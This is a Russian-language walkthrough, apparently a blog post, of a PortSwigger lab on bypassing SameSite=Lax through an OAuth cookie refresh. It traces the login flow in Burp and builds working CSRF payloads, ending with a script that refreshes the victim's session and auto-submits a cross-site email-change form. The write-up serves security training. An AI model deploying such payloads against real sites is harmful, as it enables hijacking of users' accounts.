На странице
apsyleg1 мин
#portswigger #csrf #samesite #oauth #web-security

SameSite Lax bypass через cookie refresh

Лаборатория

SameSite Lax bypass via cookie refresh · Practitioner

Решение

Дано

This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.

The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter

Полезная теория перед лабой

Если мы явно не задаём SameSite=Lax, то Chrome, например, сам поставит его по умолчанию. Но чтобы не ломать SSO-механизмы, существует двухминутное окно, когда ограничения не работают, и в этот момент можно сделать top-level POST-запрос.

Анализ задания

Как обычно, нужно поменять пароль пользователя, эксплуатируя CSRF-уязвимость в этой функции сайта. Способ доставки нагрузки — эксплоит-сервер. На стенде можно залогиниться, используя OAuth-механизм. В названии упоминается приём обхода SameSite=Lax с помощью обновления куки и получение интервала в 2 минуты для осуществления атаки. Один из способов вызвать refresh куки — использовать механизмы OAuth, если таковые используются на сайте.

Разведка

Начнём с того, что посмотрим, как работает этот OAuth-механизм.

Открываем, переходим в My Account. Открывается /social-login. Далее появляется форма ввода имени и пароля. Вводим данные, подтверждаем вход — успешно залогинило.

Окей, го в Burp посмотрим, что происходило под капотом.

Зашли по роуту /:

Set-Cookie: session=d24QySzpjR1y1S4SgUm3HQwkv62tQyzB; Expires=Wed, 13 May 2026 06:17:25 UTC; Secure; HttpOnly

Далее нажали My account — 302 на /social-login. /social-login возвращает HTML:

We are now redirecting you to login with social media...

После улетает запрос:

GET /auth?client_id=k6dgsunp2stqsamtsv7dx&redirect_uri=https://0a9500e1049ce82a809f0dda009f005b.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2

Здесь интересен параметр redirect_uri.

Редирект:

Location: /interaction/LAZ1IMVxqtF29LA_RotP_

Тут уже возвращается HTML с формой логина и пароля. Вводили мы данные, после улетел POST:

POST /interaction/LAZ1IMVxqtF29LA_RotP_/login HTTP/2

Далее редирект:

Location: https://oauth-0ad6005204a6e85480110b7f023c0064.oauth-server.net/auth/LAZ1IMVxqtF29LA_RotP_

Тут прилетает HTML с формой подтверждения. Нажимали кнопку Подтвердить, улетал POST:

POST /interaction/LAZ1IMVxqtF29LA_RotP_/confirm

Далее редирект:

Location: https://oauth-0ad6005204a6e85480110b7f023c0064.oauth-server.net/auth/LAZ1IMVxqtF29LA_RotP_

И финальный редирект:

Location: https://0a9500e1049ce82a809f0dda009f005b.web-security-academy.net/oauth-callback?code=EfrIA4L3nJzkTP9obKYYhqEYZ7Vamc3760c7p-gKQaf

Тут пишут, что логин успешный, и ставят куки:

Set-Cookie: session=2ZbppT7TSh2deVGAFkixzjPSOn3bBF2C; Expires=Wed, 13 May 2026 06:17:56 UTC; Secure; HttpOnly

Окей, посмотрим теперь этот флоу ещё раз. Если верить доке PortSwigger, то, запустив флоу ещё раз, он уже не будет просить ввода логина и пароля.

Можем попробовать перейти на роут /social-login. И правда, происходит сразу вызов /oauth-callback.

Теперь ещё посмотрим, как происходит смена email пользователя:

POST /my-account/change-email

Session-кука и новый email. CSRF-токен не требуется.

Мысли о возможной нагрузке

Один из шагов — обновить куки, используя OAuth.

/social-login нам не подойдёт, поскольку нам нужно, чтобы после рефреша кук пользователя мы об этом узнали, а следовательно, нам нужно задать свой redirect_uri:

https://oauth-0a98007a0429541581ce2d60021d0097.oauth-server.net/auth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https://0a21000b0447543f81912fc400e200e0.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email

Пока не понимаю, подойдёт ли нам этот способ или будет проще реализовать через открытие OAuth-флоу в новой вкладке. Имею в виду способ, при котором на первой странице мы редиректим пользователя на OAuth, а потом нам надо принять редирект на другом роуте и стартовать атаку. На эксплоит-сервере PortSwigger мы не можем делать несколько эндпоинтов, а нам нужно бы 2 в таком случае: первый — куда придёт пользователь, второй — куда вернём пользователя после обновления кук. А в случае открытия в новой вкладке просто запускаем атаку спустя небольшое время?

А нет, можно же просто redirect_uri задать https://exploit-0abd0038045754a381572e0b01ad0028.exploit-server.net/exploit?startAttack=true.

Тогда черновик нагрузки:

<script>
  const url = new URL(document.location.href)
  const startAttack = url.searchParams.get('startAttack')
  if (startAttack) {
    // Запуск атаки
    // Тут нужно POST-запрос сделать /my-account/change-email
    console.log('Пора запускать атаку')
  } else {
    // Тут редиректим на OAuth flow
    // Но ставим свой URL для редиректа
    location = "https://oauth-0a98007a0429541581ce2d60021d0097.oauth-server.net/auth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https://exploit-0abd0038045754a381572e0b01ad0028.exploit-server.net/exploit?startAttack=true?response_type=code&scope=openid%20profile%20email"
  }
</script>
oops! something went wrong
error: redirect_uri_mismatch
error_description: redirect_uri did not match any of the client's registered redirect_uris

Хм, получается, не выйдет подменить redirect_uri.

Может быть, тогда вариант 2: нагрузка просто будет ждать клика, открывать OAuth в отдельном окне, и мы спустя секунд 5 будем запускать атаку.

<script>
  window.onclick = () => {
    window.open('https://oauth-0a88003704ea253e81a62dea022a00dc.oauth-server.net/auth?client_id=yend8x58elno9xb2nm2oq&redirect_uri=https://0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email)');
  }
  setTimeout(() => {
    fetch('https://0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net/my-account/change-email', { method: 'POST', body: 'email=yes@no.ru' })
  }, 5000)
</script>

Не, 500 — Server Error.

Раз уж нам сейчас не нужно менять redirect_uri, оставим тогда просто редирект на /social-login:

<script>
  window.onclick = () => {
    window.open('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/social-login');
    setTimeout(() => {
      fetch('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email', { method: 'POST', body: new URLSearchParams({ email: 'ne1@n.ru' }) })
    }, 20000)
  }
</script>

Кука обновляется, но что-то fetch не проходит — возвращает 302. Редирект на /social-login.

О, может, забыли добавить credentials: 'include'?

<script>
  window.onclick = () => {
    window.open('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/social-login');
    setTimeout(() => {
      fetch('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email', {
        method: 'POST',
        body: new URLSearchParams({ email: 'ne1@n.ru' }),
        credentials: 'include'
      })
    }, 20000)
  }
</script>

Хм, и кука, похоже, не прикрепляется. И в целом CORS error:

Access to fetch at 'https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email' from origin 'https://exploit-0ad7003e03c2613c81b57ab701040017.exploit-server.net' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'.

Похоже, я упустил важный момент — для передачи куки нужно совершить именно POST top-level navigation, обычный fetch() не подойдёт, нужен сабмит формы. Доработаем нагрузку. Возьмём форму смены email со страницы лабы и через 15 секунд после открытия окна на рефреш кук отправим запрос на смену email.

<form class="login-form" name="change-email-form" action="https://0a100008031934bc80105d4a0034009e.web-security-academy.net/my-account/change-email" method="POST">
  <label>Email</label>
  <input required type="email" name="email" value="xxx@yyy.ru">
  <button class="button" type="submit">Update email</button>
</form>

<script>
  window.onclick = () => {
    window.open('https://0a100008031934bc80105d4a0034009e.web-security-academy.net/social-login');
    setTimeout(() => {
      document.forms[0].submit();
    }, 15000)
  }
</script>